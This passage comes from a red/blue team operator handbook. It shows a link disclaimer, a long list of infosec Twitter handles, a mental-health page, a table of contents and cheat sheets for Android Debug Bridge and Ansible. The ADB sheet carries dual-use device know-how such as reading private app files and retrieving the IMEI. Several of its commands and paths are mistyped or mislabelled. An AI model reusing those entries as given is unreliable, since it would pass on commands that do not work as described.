website, or service do not constitute or imply an endorsement by
Netmux of same, or its producer or provider. The views and opinions
contained at any Links do not necessarily express or reflect those
of Netmux.
3
INFOSEC TWITTER ACKNOWLEDGEMENT
@ABJtech
@Mandiant
@bmenell
@m33x
@ACKFlags
@ManuscriptMaps
@bmenrigh
@m3g9tr0n
@AGoldmund
@Mao_Ware
@bostongolang
@m8urnett
@ASTRON_NL
@MariNomadie
@brandonkovacs
@macadminsconf
@ATI_UT
@MicahZenko
@brandybblevins
@macinteractive
@Adam_Cyber
@Microsoft
@brave
@macvfx
@AgariInc
@MidAtlanticCCDC
@breenmachine
@malcomvetter
@AlecMuffett
@MikeConvertino
@briankrebs
@malwrhunterteam
@AndreGironda
@Mordor_Project
@bromium
@mandiant
@AndrewAskins
@Morpheus______
@brutelogic
@maradydd
@AngelList
@MrDanPerez
@brysonbort
@marcusjcarey
@Anomali
@MyABJ
@bsdbandit
@markarenaau
@Antid0tecom
@NASA
@bsideslv
@mason_rathe
@AricToler
@NOBBD
@bugcrowd
@matthew_d_green
@Arkbird_SOLG
@NSAGov
@builtbykrit
@mattokeefe
@Arkc0n
@NYU_CSE
@byharryconnolly
@maxplanckpress
@ArmyCyberInst
@NathanPatin
@byt3bl33d3r
@mayraatx
@Ascii211
@NetSPI
@c0ncealed
@mdholcomb
@Atredis
@NewAmCyber
@c2_matrix
@mediafishy
@BEERISAC
@NewAmerica
@cBekrar
@mewo2
@BHinfoSecurity
@Newsy
@calibreobscura2
@mgoetzman
@BSidesAVL
@NoVAHackers
@cantcomputer
@michaelccronin
@BSidesCHS
@Nordic_Choice
@carnal0wnage
@mikeymikey
@BSidesCharm
@NotMedic
@caseyjohnellis
@moonbas3
@BSidesGVL
@caseyjohnston
@motosolutions
@BSidesLV
@NullMode_
@catcallsPHL
@moxie
@BSidesSF
@OPCDE
@cedowens
@mrogers315
@BSidesSac
@OSINTCurious
@cgbassa
@mroytman
@BSides_NoVA
@OSPASafeEscape
@chain
@msftsecurity
@BanyonLabs
@OSSEM_Project
@checkmydump
@msuiche
@Baybe_Doll
@OWASP
@chkbal
@mtones9
@Beaker
@Obs_IL
@chris_foulon
@mubix
@Bellingcat
@ObscurityLabs
@chrissanders88
@myhackerhouse
@Ben0xA
@OpenAI
@christruncer
@mysmartlogon
@BenDoBrown
@Openwall
@cktricky
@mythicmaps
@BerkeleyLaw
@OrinKerr
@climagic
@neksec
@Binary_Defense
@P4wnP1
@cnoanalysis
@nerd_nrw
@BlueDoorSector7
@PJVogt
@coalfirelabs
@netflix
@BlueTeamCon
@PMStudioUK
@coalfiresys
@networkdefense
@BrentWistrom
@PWTooStrong
@cobalt_io
@nickstadb
@BruteLogic
@Paladin3161
@codegrazer
@nijagaw
@BsidesCLT
@PaloAltoNtwks
@commandlinefu
@nisos
@BsidesDC
@PassiveTotal
@corelight_inc
@nnwakelam
@BsidesLV
@PasswordStorage
@curi0usJack
@nola_con
@BsidesTLV_CTF
@PeterWood_PDW
@cyb3rops
@nostarch
@Bugcrowd
@PhishingAi
@cyber__sloth
@nova_labs
@BugcrowdSupport
@PhreakerLife
@cyberstatecraft
@Burp_Suite
@PiRanhaLysis
@cyberwar_15
@nsagov
@CADinc
@Prevailion
@d3ad0ne_
@nuartvision
@CIA
@PrimeVideo
@dadamitis
@nudelsinpita
@CNMF_VirusAlert
@ProductHunt
@dafengcao
@nytimes
@CONFidenceConf
@PwdRsch
@daleapearson
@objective_see
@CTFtime
@PyroTek3
@dangoodin001
@obsecurus
@CU_ICAR
@QW5kcmV3
@datadog
@offsectraining
@CalibreObscura
@RPISEC
@daveaitel
@oktopuses
@Capsule8
@Rapid7
@davidstewartNY
@olafhartong
@CarloAlcan
@RealDonaldTrump
@davywtf
@oleavr
@Carlos_Perez
@RecordedFuture
@dc_bhv
@packetninjas
@CaseyCammilleri
@RedDrip7
@dcstickerswap
@pagedout_zine
@CashApp
@Remediant
@deadpixelsec
@paloaltontwks
@CaveatCW
@RidT
@defcon
@passingthehash
@Chick3nman512
@RiskIQ
@demonslay335
@patricknorton
@CindyOtis_
@Rmy
@dex_eve
@patrickwardle
@CipherEveryword
@Rmy_Reserve
@dguido
@pedramamini
@CircleCityCon
@RonJonArod
@dhdenny
@pentest_swissky
@ClaireTills
@RoseSecOps
@dianainitiative
@perribus
4
@ComaeIo
@RupprechtDeino
@digininja
@philofishal
@CptJesus
@Rupprecht_A
@digitalshadows
@philsmd
@CrackMeIfYouCan
@RuraPenthe0
@dinodaizovi
@photon_research
@CrowdStrike
@RuralTechFund
@disclosedh1
@pickie_piggie
@SAINTCON
@dissect0r
@pietdaniel
@Cyb3rWard0g
@SAINTCONPCrack
@dkorunic
@pinguino
@CyberScoopNews
@SANSinstitute
@donttrythis
@pir34
@Cyberarms
@SINON_REBORN
@dotMudge
@planetlabs
@CyberjutsuGirls
@SNGengineer
@polrbearproject
@CynoPrime
@SWiefling
@dropdeadfu
@prevailion
@DARPA
@SailorSnubs
@dumpmon
@proofpoint
@DCPoliceDept
@Salesforce
@duo_labs
@pumpcon
@D__Gilbertson
@SatNOGS
@dwizzzleMSFT
@pupsuntzu
@Dallas_Hackers
@Sbreakintl
@dyn___
@pwcrack
@DaniGoland
@Sc00bzT
@dynllandeilo
@quiztime
@DanielMiessler
@SecBSD
@edskoudis
@qwertyoruiopz
@DarkDotFail
@efadrones
@r_netsec
@DataTribe
@SecureThisNow
@elastic
@rapid7
@Dave_Maynor
@SecurityVoices
@emailrepio
@rchomic
@Defcon
@SektionEins
@endsurveillance
@reaperhulk
@DefuseSec
@SethHanford
@enigma0x3
@redblobgames
@DeptofDefense
@ShapeSecurity
@expel_io
@redcanaryco
@DharmaPlatform
@ShielderSec
@eyalsela
@reddit
@DhiruKholia
@ShiningPonies
@fastly
@redteamfieldman
@DragonSectorCTF
@SiegeTech
@felixaime
@reed_college_
@Dragonkin37
@SigintOs
@foxit
@rejoiningthetao
@Dragosinc
@SiliconHBO
@frankrietta
@repdet
@Draplin
@SkelSec
@fs0c131y
@replyall
@Dropbox
@Snubs
@fun_cuddles
@reporturi
@DrunkBinary
@SpareTimeUSA
@fuzziphy
@rickhholland
@DukeU
@SpecterOps
@g0tmi1k
@riettainc
@EarthLib
@Spy_Stations
@geeknik
@rkervell
@Elastic
@Square
@genscape
@rmondello
@ElcomSoft
@StartupWatching
@gentilkiwi
@robot_wombat
@ElectricCoinCo
@Status451Blog
@githubsecurity
@rodoassis
@EmpireHacking
@SteveD3
@gm4tr1x
@ropnop
@EricMichaud
@Stickerum
@golem445
@rotmg_news
@ErrataRob
@StratSentinel
@google
@rrcyrus
@Evil_Mog
@SummitRoute
@grimmcyber
@rrhoover
@F5
@SunTzuSec
@gynvael
@rsi
@F5Networks
@SuperfluousSec
@hack_secure
@rw_access
@FactionC2
@SynackRedTeam
@hackerfantastic
@ryanaraine
@FalconForceTeam
@TCMSecurity
@hacks4pancakes
@s0lst1c3
@FewAtoms
@THE_HELK
@s3inlc
@FireEye
@TalosSecurity
@hak5darren
@sS55752750
@Fist0urs
@TankerTrackers
@halvarflake
@sashahacks
@FlatleyAdam
@TechDrawl
@har1sec
@scatsec
@FletcherSchool
@TechRanch
@harmj0y
@scythe_io
@Forensication
@Technologeeks
@haroonmeer
@secbern
@Forrester
@TerahashCorp
@hashcat
@securedrop
@Fortinet
@TessSchrodinger
@haveibeenpwned
@secureideasllc
@FortyNorthSec
@Th3Zer0
@hexlax
@securitybsides
@Fox_Pick
@The4rchangel
@heykitzy
@securitysublime
@GblEmancipation
@TheHackersNews
@hshaban
@selenawyatt21
@GeorgetownCSS
@TheMacFixer
@hsmVault
@sfissa
@GlytchTech
@ThreatConnect
@httpseverywhere
@sharpstef
@Goetzman
@TihanyiNorbert
@humuinc
@shellphish
@GoogleDevExpert
@Timele9527
@i0n1c
@shodanhq
@Graphika_Inc
@Timo_Steffens
@iHeartMalware
@slyd0g
@Graphika_NYC
@TinkerSec
@iTzJeison
@snlyngaas
@GreyNoiseIO
@TorryCrass
@iamthecavalry
@snubs
@GrumpyHackers
@TrailofBits
@ics_village
@solardiz
@HP
@TribeOfHackers
@icsvillage
@sonofshirt
@Hacker0x01
@TrimarcSecurity
@igsonart
@spazef0rze
@HackersHealth
@TrustedSec
@ihackbanme
@specterops
@HackingDave
@Twitter
@illusivenw
@splcenter
@HackingHumansCW
@TychoTithonus
@iminyourwifi
@square
@Hackmiami
@USA_Network
@initialized
@sraveau
@Hak4Kidz
@USArmy
@insitusec
@stevebiddle
@Hak5
@Unallocated
@instacyber
@stfitzzz
5
@Harvard
@Unit42_Intel
@iqlusioninc
@stricturegroup
@HashCraftsMen
@UnixToolTip
@issuemakerslab
@stvemillertime
@HashSuite
@VCBrags
@its_a_feature_
@swagitda_
@Hashcat
@VICE
@jack_daniel
@synack
@HashesOrg
@VK_Intel
@jaredcatkinson
@sysdig
@HashiCorp
@VXShare
@jaredhaight
@tacticalmaid
@Haus3c
@VerodinInc
@jaysonstreet
@tamperinfo
@HenriKenhmann
@Viking_Sec
@jcanto
@taosecurity
@Hexacorn
@WashingtonPost
@jckichen
@taurusgroup_ch
@HoustonHackers
@WeekendFund
@jedisct1
@tcvieira
@HunterPlaybook
@WillStrouseJr
@jessysaurusrex
@teamcymru
@HuntersForge
@WomenCyberjutsu
@jhencinski
@techstars
@HuntressLabs
@WylieNewmark
@jimmychappell
@teserakt_io
@Hushcon
@Xanadrel
@jjx
@testedcom
@Hydraze
@XssPayloads
@jkamdjou
@th3cyF0x
@ICS_Village
@YCND_DC
@jmgosney
@th_koeln
@IanColdwater
@Yuantest3
@jmp_AC
@theKos
@IdoNaor1
@ZDNetfr
@jmulvenon
@theNinjaJobs
@InQuest
@ZIMPERIUM
@joernchen
@theZDI
@InfoSecSherpa
@ZecOps
@joeynoname
@thecybermentor
@Inguardians
@Zerodium
@john_users
@thecyberwire
@InsanityBit
@absoluteappsec
@jonasl
@thegrugq
@Intel471Inc
@acedtect
@jorgeorchilles
@themiraclefound
@IntelCrab
@achillean
@josephpizzo
@thephreck
@J0hnnyXm4s
@ackmage
@jpgoldberg
@thor_scanner
@JAMFSoftware
@adamcaudill
@jpmosco
@thorsheim
@JGamblin
@adversariel
@jsecurity101
@threatcare
@JSyversen
@agariinc
@jsoverson
@threatstack
@JacquelinesLife
@aivillage_dc
@jw_sec
@tifkin_
@JakeGodin
@albinowax
@kalgecin
@tiraniddo
@James_inthe_box
@alexhutton
@karimhijazi
@tiskimber
@Jhaddix
@alexisohanian
@kaspersky
@tliston
@JohnDCook
@aloria
@katestarbird
@trailofbits
@JohnHultquist
@antisnatchor
@kauffmanfellows
@trbrtc
@Johneitel
@armitagehacker
@keenjoy95
@troyhunt
@Kaspersky
@ashley_shen_920
@kellthenoise
@tyler_robinson
@KeePassXC
@asmartbear
@kennwhite
@unix_ninja
@KennaSecurity
@atredis
@kfalconspb
@unix_root
@KismetWireless
@atxawesome
@kfosaaen
@usnavy
@KitPloit
@atxstartupweek
@khr0x40sh
@usscastro
@KryptoAndI
@austininno
@kirbstr
@v33na
@LFC
@autumnbreezed
@kl_support
@veorq
@LOFAR
@bad_packets
@kledoux
@virusbay_io
@LaNMaSteR53
@bascule
@knoxss_me
@volatility
@LawyerLiz
@bcrypt
@koelncampus
@vshamapant
@LeaKissner
@beauwoods
@komandsecurity
@vxunderground
@Leasfer
@bellingcat
@krishnasrini
@w34kp455
@LeftoftheDialPC
@benimmo
@kryptera
@wammezz
@LibreSpace_Fnd
@benjdyer
@kudelskisec
@wellsgr
@Lisa_O
@benmmurphy
@kyleehmke
@whoismrrobot
@LiveOakVP
@bigmacjpg
@lady_nerd
@winxp5421
@LiveoakVP
@billpollock
@lakiw
@wmespeakers
@Lookout
@binaryedgeio
@lapcatsoftware
@wriveros
@M0nit00r
@bitcrack_cyber
@letsencrypt
@wslafoy
@Ma7ad0r
@bittner
@likeidreamof28
@xforcered
@MaMe82
@blackorbird
@likethecoins
@xoreaxeaxeax
@MacDevOpsYVR
@blackroomsec
@liveoakvp
@ydklijnsma
@MacTechConf
@blairgillam
@lordsaibat
@yourstacks
@MaliciaRogue
@blkCodeCollctve
@lorrietweet
@b0mb$h3ll
NETMUX.COM
@NETMUX ON TWITTER
OPERATOR HANDBOOK UPDATES OR SEND SUGGESTIONS/CORRECTIONS
6
HEALTH & WELLNESS
National Suicide Prevention Lifeline: 1-800-273-8255
MENTAL HEALTH HACKERS
https://www.mentalhealthhackers.org/
Twitter @HackersHealth
There’s no simple test that can let someone know if there is a
mental health condition, or if actions and thoughts might be
typical behaviors or the result of a physical illness.
Each condition has its own set of symptoms, but some common signs
of mental health conditions can include the following:
• Excessive worrying or fear
• Feeling excessively sad or low
• Confused thinking or problems concentrating and learning
• Extreme mood changes, including uncontrollable “highs” or
feelings of euphoria
• Prolonged or strong feelings of irritability or anger
• Avoiding friends and social activities
• Difficulties understanding or relating to other people
• Changes in sleeping habits or feeling tired and low energy
• Changes in eating habits such as increased hunger or lack of
appetite
• Changes in sex drive
• Difficulty perceiving reality (delusions/hallucinations)
• Inability to perceive changes in one’s own feelings, behavior, or
personality
• Abuse of substances like alcohol or drugs
• Multiple physical ailments without obvious causes
• Thoughts of suicide, or suicidal planning
• Inability to carry out daily activities or handle daily problems
and stress
Don’t be afraid to reach out if you or someone you know needs help.
Learning all you can about mental health is an important first
step. Reach out to your health insurance, primary care doctor, or
state/country mental health authority for more resources.
I highly recommend finding a Mental Health First Aid class near
you, regardless of whether you are personally struggling with an
issue. Chances are high that you are close to someone who is,
whether you realize it or not. Directly or indirectly, mental
health conditions affect all of us. In fact, one in four people
have some sort of mental health condition. We are not as alone as
we think, and we can make a huge contribution to society just by
staying alive.
7
Support systems are vital to recovery. The support helps minimize
damage posed by mental illness on an individual. It also can save a
loved one’s life. There are many steps you can take to help
yourself or others, including:
• Inform yourself as much as possible about the illness being
faced.
• Start dialogues, not debates, with family and friends.
• In cases of acute psychiatric distress (experiencing psychosis or
feeling suicidal, for instance), getting to the hospital is the
wisest choice.
• Instead of guessing what helps: Communicate about it, or ask.
• Seek out support groups.
• Reassure your friends or family members that you care about them.
• Offer to help them with everyday tasks if they are unable.
• Include them in your plans and continue to invite them without
being overbearing, even if they resist your invitations.
• Keep yourself well and pace yourself. Overextending yourself will
only cause further problems in the long run.
• Avoid falling into the role of “fixer” and “savior.” No matter
how much you love someone, it cannot save them.
• Offering objectivity, compassion, and acceptance is valuable
beyond measure.
• Know that even if your actions and love may seem to have little
impact, they are making a difference.
• Have realistic expectations. The recovery process is not a
straight line, nor is it one that happens quickly.
PEOPLE TO FOLLOW ON TWITTER FOR LOVE, VIBES, and FEELS DAILY
@bsdbandit
@carnal0wnage
@marcusjcarey
@blenster
@jaysonstreet
8
INFOSEC TWITTER ACKNOWLEDGEMENT -------------------------------------------- 3
HEALTH & WELLNESS ---------------------------------------------------------------------- 6
A ------------------------------------------------------------------------------------ 12
ANDROID DEBUG BRIDGE (ADB) ------------------------------------------------------- 13
ANDROID_Resources --------------------------------------------------------------------- 16
ANSIBLE -------------------------------------------------------------------------------------- 16
AWS CLI -------------------------------------------------------------------------------------- 20
AWS_Defend ------------------------------------------------------------------------------- 27
AWS_Exploit -------------------------------------------------------------------------------- 30
AWS_Hardening --------------------------------------------------------------------------- 35
AWS_Terms --------------------------------------------------------------------------------- 35
AWS_Tricks --------------------------------------------------------------------------------- 37
AZURE CLI ----------------------------------------------------------------------------------- 39
AZURE_Defend ----------------------------------------------------------------------------- 44
AZURE_Exploit ----------------------------------------------------------------------------- 44
AZURE_Hardening ------------------------------------------------------------------------ 48
AZURE_Terms ------------------------------------------------------------------------------ 48
AZURE_Tricks ------------------------------------------------------------------------------- 48
B ------------------------------------------------------------------------------------ 49
BLOODHOUND ----------------------------------------------------------------------------- 49
C ------------------------------------------------------------------------------------ 52
COBALT STRIKE ----------------------------------------------------------------------------- 52
CYBER CHEF --------------------------------------------------------------------------------- 57
D ------------------------------------------------------------------------------------ 59
DATABASES --------------------------------------------------------------------------------- 59
DEFAULT PASSWORDS ------------------------------------------------------------------- 60
DOCKER -------------------------------------------------------------------------------------- 61
DOCKER_Exploit --------------------------------------------------------------------------- 63
F ------------------------------------------------------------------------------------ 65
FLAMINGO ---------------------------------------------------------------------------------- 65
FRIDA ----------------------------------------------------------------------------------------- 67
G ------------------------------------------------------------------------------------ 70
GCP CLI --------------------------------------------------------------------------------------- 70
GCP_Defend -------------------------------------------------------------------------------- 74
GCP_Exploit --------------------------------------------------------------------------------- 76
GCP_Hardening ---------------------------------------------------------------------------- 76
GCP_Terms --------------------------------------------------------------------------------- 77
GHIDRA -------------------------------------------------------------------------------------- 77
GIT -------------------------------------------------------------------------------------------- 80
GITHUB CLI ---------------------------------------------------------------------------------- 82
9
GITHUB_Exploit --------------------------------------------------------------------------- 83
GREYNOISE --------------------------------------------------------------------------------- 84
H ------------------------------------------------------------------------------------ 90
HASHCAT ----------------------------------------------------------------------------------- 91
I ------------------------------------------------------------------------------------- 92
ICS / SCADA TOOLS ---------------------------------------------------------------------- 93
INTERNET EXCHANGE POINTS --------------------------------------------------------- 93
IMPACKET ---------------------------------------------------------------------------------- 93
iOS ------------------------------------------------------------------------------------------- 95
IPTABLES ------------------------------------------------------------------------------------ 97
IPv4 ------------------------------------------------------------------------------------------ 99
IPv6 ----------------------------------------------------------------------------------------- 100
J ----------------------------------------------------------------------------------- 104
JENKINS_Exploit ------------------------------------------------------------------------- 104
JOHN THE RIPPER ----------------------------------------------------------------------- 105
JQ -------------------------------------------------------------------------------------------- 106
K ---------------------------------------------------------------------------------- 108
KUBERNETES ------------------------------------------------------------------------------ 108
KUBERNETES_Exploit ------------------------------------------------------------------- 108
KUBECTL ----------------------------------------------------------------------------------- 112
L ----------------------------------------------------------------------------------- 119
LINUX_Commands ---------------------------------------------------------------------- 119
LINUX_Defend --------------------------------------------------------------------------- 123
LINUX_Exploit ---------------------------------------------------------------------------- 127
LINUX_Hardening ----------------------------------------------------------------------- 133
LINUX_Ports ------------------------------------------------------------------------------ 134
LINUX_Structure ------------------------------------------------------------------------- 144
LINUX_Tricks ----------------------------------------------------------------------------- 148
LINUX_Versions -------------------------------------------------------------------------- 150
M --------------------------------------------------------------------------------- 155
MACOS_Commands -------------------------------------------------------------------- 155
MACOS_Defend ------------------------------------------------------------------------- 163
MACOS_Exploit -------------------------------------------------------------------------- 174
MACOS_Hardening --------------------------------------------------------------------- 182
MACOS_Ports ---------------------------------------------------------------------------- 182
MACOS_Structure ----------------------------------------------------------------------- 187
MACOS_Tricks ---------------------------------------------------------------------------- 190
MACOS_Versions ------------------------------------------------------------------------ 193
MALWARE_Resources ----------------------------------------------------------------- 194
MDXFIND / MDXSPLIT ------------------------------------------------------------------ 196
10
METASPLOIT ------------------------------------------------------------------------------ 199
MIMIKATZ --------------------------------------------------------------------------------- 202
MIMIKATZ_Defend ---------------------------------------------------------------------- 207
MSFVENOM ------------------------------------------------------------------------------ 208
N ---------------------------------------------------------------------------------- 210
NETCAT ------------------------------------------------------------------------------------ 210
NETWORK DEVICE_Commands ------------------------------------------------------ 211
NFTABLES --------------------------------------------------------------------------------- 217
NMAP -------------------------------------------------------------------------------------- 223
O ---------------------------------------------------------------------------------- 224
OSINT_Techniques ---------------------------------------------------------------------- 225
OSINT_Tools ------------------------------------------------------------------------------ 229
OSINT_Resources ----------------------------------------------------------------------- 234
OSINT_SearchEngines ------------------------------------------------------------------ 235
OSINT_SocialMedia --------------------------------------------------------------------- 238
OSQUERY ---------------------------------------------------------------------------------- 241
P ----------------------------------------------------------------------------------- 243
PACKAGE MANAGERS ------------------------------------------------------------------ 243
PASSWORD CRACKING_Methodology --------------------------------------------- 245
PHYSICAL ENTRY_Keys ----------------------------------------------------------------- 250
PORTS_Top1000 ------------------------------------------------------------------------- 252
PORTS_ICS/SCADA ---------------------------------------------------------------------- 254
PORTS_Malware C2 --------------------------------------------------------------------- 256
PUPPET ------------------------------------------------------------------------------------ 259
PYTHON ------------------------------------------------------------------------------------ 261
R ----------------------------------------------------------------------------------- 263
REGEX -------------------------------------------------------------------------------------- 263
RESPONDER ------------------------------------------------------------------------------- 267
REVERSE SHELLS ------------------------------------------------------------------------- 269
S ----------------------------------------------------------------------------------- 276
SHODAN ----------------------------------------------------------------------------------- 276
SNORT -------------------------------------------------------------------------------------- 278
SPLUNK ------------------------------------------------------------------------------------ 279
SQLMAP ----------------------------------------------------------------------------------- 286
SSH ------------------------------------------------------------------------------------------ 288
T ----------------------------------------------------------------------------------- 294
TCPDUMP --------------------------------------------------------------------------------- 294
THREAT INTELLIGENCE ----------------------------------------------------------------- 297
TIMEZONES ------------------------------------------------------------------------------- 297
TMUX --------------------------------------------------------------------------------------- 303
11
TRAINING_Blue Team ------------------------------------------------------------------ 305
TRAINING_OSINT ------------------------------------------------------------------------ 305
TRAINING_Red Team ------------------------------------------------------------------- 306
TSHARK ------------------------------------------------------------------------------------ 306
U ---------------------------------------------------------------------------------- 310
USER AGENTS ---------------------------------------------------------------------------- 310
V ---------------------------------------------------------------------------------- 314
VIM ----------------------------------------------------------------------------------------- 314
VOLATILITY -------------------------------------------------------------------------------- 318
W --------------------------------------------------------------------------------- 320
WEB_Exploit ------------------------------------------------------------------------------ 320
WEBSERVER_Tricks --------------------------------------------------------------------- 327
WINDOWS_Commands ---------------------------------------------------------------- 331
WINDOWS_Defend --------------------------------------------------------------------- 336
WINDOWS_Exploit ---------------------------------------------------------------------- 353
WINDOWS_Hardening ----------------------------------------------------------------- 366
WINDOWS_Ports ------------------------------------------------------------------------ 367
WINDOWS_Registry -------------------------------------------------------------------- 372
WINDOWS_Structure ------------------------------------------------------------------ 415
WINDOWS_Tricks ----------------------------------------------------------------------- 417
WINDOWS_Versions ------------------------------------------------------------------- 418
WINDOWS DEFENDER ATP ------------------------------------------------------------ 419
WIRELESS FREQUENCIES --------------------------------------------------------------- 425
WIRELESS_Tools ------------------------------------------------------------------------- 427
WIRESHARK ------------------------------------------------------------------------------- 428
Y ---------------------------------------------------------------------------------- 430
YARA ---------------------------------------------------------------------------------------- 430
12
A
13
A
A
ANDROID DEBUG BRIDGE (ADB)
RED TEAM
REVERSE ENGINEERING
MOBILE
Android Debug Bridge (adb) is a versatile command-line tool that
lets you communicate with a device. The adb command facilitates a
variety of device actions, such as installing and debugging apps,
and it provides access to a Unix shell that you can use to run a
variety of commands on a device.
ADB BASICS
adb devices
lists connected
devices
adb root
restarts adbd with
root permissions
adb start-server
starts the adb
server
adb kill-server
kills the adb
server
adb reboot
reboots the device
adb devices -l
list of devices by
product/model
adb shell
starts the
background terminal
exit
exits the
background terminal
adb help
list all commands
adb -s <deviceName> <command>
redirect command to
specific device
adb -d <command>
directs command to
only attached USB
device
adb -e <command>
directs command to
only attached
emulator
PACKAGE INSTALLATION
adb shell install <apk>
install app
adb shell install <path>
install app from
phone path
adb shell install -r <path>
install app from
phone path
adb shell uninstall <name>
remove the app
PATHS
/data/data/<package>/databases
app databases
/data/data/<package>/shared_prefs/
shared preferences
/data/app
apk installed by
user
14
/system/app
pre-installed APK
files
/mmt/asec
encrypted apps
/mmt/emmc
internal SD Card
/mmt/adcard
external/Internal
SD Card
/mmt/adcard/external_sd
external SD Card
adb shell ls
list directory
contents
adb shell ls -s
print size of each
file
adb shell ls -R
list subdirectories
recursively
FILE OPERATIONS
adb push <local> <remote>
copy file/dir to
device
adb pull <remote> <local>
copy file/dir from
device
run-as <package> cat <file>
access the private
package files
PHONE INFO
adb get-stat–µ
print device state
adb get-serialno
get the serial
number
adb shell dumpsys iphonesybinfo
get the IMEI
adb shell netstat
list TCP
connectivity
adb shell pwd
print current
working directory
adb shell dumpsys battery
battery status
adb shell pm list features
list phone features
adb shell service list
list all services
adb shell dumpsys activity
<package>/<activity>
activity info
adb shell ps
print process
status
adb shell wm size
displays the
current screen
resolution
dumpsys window windows | grep -E
'mCurrentFocus|mFocusedApp'
print current app's
opened activity
PACKAGE INFO
adb shell list packages
list package names
adb shell list packages -r
list package name +
path to apks
adb shell list packages -3
list third party
package names
15
adb shell list packages -s
list only system
packages
adb shell list packages -u
list package names
+ uninstalled
adb shell dumpsys package packages
list info on all
apps
adb shell dump <name>
list info on one
package
adb shell path <package>
path to the apk
file
CONFIGURE SETTINGS
adb shell dumpsys battery set level <n>
change the level
from 0 to 100
adb shell dumpsys battery set status<n>
change the level to
unknown
adb shell dumpsys battery reset
reset the battery
adb shell dumpsys battery set usb <n>
change the status
of USB connection.
ON or OFF
adb shell wm size WxH
sets the resolution
to WxH
DEVICE RELATED CMDS
adb reboot-recovery
reboot device into
recovery mode
adb reboot fastboot
reboot device into
recovery mode
adb shell screencap -p
"/path/to/screenshot.png"
capture screenshot
adb shell screenrecord
"/path/to/record.mp4"
record device
screen
adb backup -apk -all -f backup.ab
backup settings and
apps
adb backup -apk -shared -all -f backup.ab
backup settings
adb backup -apk -nosystem -all -f backup.ab
backup only non-
system apps
adb restore backup.ab
restore a previous
backup
adb shell am start|startservice|broadcast
<INTENT>[<COMPONENT>] -a <ACTION> e.g.
android.intent.action.VIEW -c <CATEGORY>
e.g. android.intent.category.LAUNCHER
start activity
intent
adb shell am start -a
android.intent.action.VIEW -d URL
open URL
adb shell am start -t image/* -a
android.intent.action.VIEW
opens gallery
LOGS
adb logcat [options] [filter] [filter]
view device log
adb bugreport
print bug reports
PERMISSIONS
16
adb shell permissions groups
list permission
groups definitions
adb shell list permissions -g -r
list permissions
details
A
A
ANDROID_Resources
RED/BLUE TEAM
ANALYSIS
MOBILE
AVC UnDroid http://undroid.av-comparatives.info/
Submit Android apps for quick online analysis with AVC UnDroid.
Virustotal - max 128MB https://www.virustotal.com/
Submit suspicious Android files/apks to analysis.
AppCritique - https://appcritique.boozallen.com/
Upload your Android APKs and receive comprehensive free security
assessments.
AMAaaS - https://amaaas.com/
Free Android Malware Analysis Service. A bare metal service
features static and dynamic analysis for Android applications. A
product of MalwarePot.
APKPure - EXTRACTED APK's
https://m.apkpure.com/
Apks are nothing more than a zip file containing resources and
assembled java code. If you were to simply unzip an apk, you would
be left with files such as classes.dex and resources.arsc.
REFERENCE:
https://github.com/ashishb/android-security-awesome
https://github.com/anitaa1990/Android-Cheat-sheet
https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet
A
A
ANSIBLE
RED/BLUE TEAM
MANAGEMENT
DEVOPS
Ansible is an open-source IT automation engine which can help you
to automate most of your repetitive tasks in your work life.
Ansible can also improve the consistency, scalability, reliability
and easiness of your IT environment.
VARIABLES
host_vars
directory for host variable files
group_vars
directory for group variable files
17
facts
collecting the host specific data
register
registered variables
vars
in playbook
vars_files
in playbook
include_vars
module
include_tasks: stuff.yml
include a sub task file
TASK CONTROL & LOOPS
with_items
then “item” inside action
with_nested
for nested loops
with_file
with_fileglob
with_sequence
with_random_choice
when
meet a condition
MODULES
copy
copy file or content
get_url
download file
file
manage file/directories
yum
manage package
service
manage services
firewalld
firewall service
lineinfile
add a line to dest file
template
to template file with variables
debug
to debug and display
add_host
add host to inventory while play
wait_for
use for flow control
apt
manage apt-packages
shell
execute shell commands on targets
PLAYBOOKS
ansible-playbook <YAML>
Run on all hosts defined
ansible-playbook <YAML> -f
10
Fork - Run 10 hosts parallel
ansible-playbook <YAML> --
verbose
Verbose on successful tasks
ansible-playbook <YAML> -C
Test run
ansible-playbook <YAML> -C
-D
Dry run
ansible-playbook <YAML> -l
<host>
Limit to run on single host
HANDLERS
notify
to notify the handler
handlers
define handler
TAGS
tags
add tags to the tasks
--tags ‘<tag>’
during playbook execution
--skip-tags
for skipping those tags
tagged
run any tagged tasks
untagged
any untagged items
18
all
all items
HANDLING ERRORS
ignore_errors
proceed or not if any error on
current task
force_handlers
call handler even the play failed
failed_when
mark the task as failed if a
condition met
changed_when
set “ok” or “failed” for a task
block
logical grouping of tasks (can use
with when)
rescue
to run if block clause fails
always
always run even block success or
fails
ROLES
Role Directories
defaults
default value of role variables
files
static files referenced by role
tasks
handlers
role’s handlers
meta
role info like Author, Licence,
Platform etc
tasks
role’s task defenition
templates
jinja2 templates
tests
test inventory and test.yml
vars
role’s variable values
pre_tasks
tasks before role
post_tasks
tasks after role
ANSIBLE GALAXY
ansible-galaxy search
‘install git’ --platform
el
search for a role
ansible-galaxy info <role-
name>
display role information
ansible-galaxy install
<role-name> -p <directory>
install role from galaxy
ansible-galaxy list
to list local roles
ansible-galaxy remove
<role-name>
remove role
ansible-galaxy init --
offline <role-name>
initiate a role directory
DELEGATION
delegate_to: localhost
run the task on localhost instead
of inventory item
delegate_facts
assign the gathered facts from the
tasks to the delegated host instead
of current host
PARALLELISM
19
forks
number of forks or parallel
machines
--forks
when using ansible-playbook
serial
control number parallel machines
async: 3600
wait 3600 seconds to complete the
task
poll: 10
check every 10 seconds if task
completed
wait_for
module to wait and check if
specific condition met
async_status
module to check an async task
status
ANSIBLE VAULT
ansible-vault create
newfile
create a new vault file
ansible-vault view newfile
view file which is already ansible
vaulted
ansible-vault edit newfile
Edit file
ansible-vault view --
vault-password-
file .secret newfile
provide vault password as file
ansible-vault decrypt
newfile
remove encryption or vault
ansible-vault rekey
newfile
change vault password
--ask-vault-pass or
ask for vault password for ansible-
playbook
--vault-password-file
<secret-password-file>
TROUBLESHOOTING
log_path
where logs are saved
debug
module for debugging
--syntax-check
syntax checking for playbooks
before they run
--step
run playbook step by step
--start-at-task
run a playbook but start at
specific task
--check
check mode
--diff
will show the expected changes if
you run the playbook, but will not
do any changes (kind of dry run)
uri
module for testing url
script
module for running script and
return success code
stat
module to check the status of
files/dir
assert
check file exist
REFERENCE:
https://github.com/ginigangadharan/ansible-cheat-sheet
20
A
A
AWS CLI
RED/BLUE TEAM
RECON/ADMIN
CLOUD
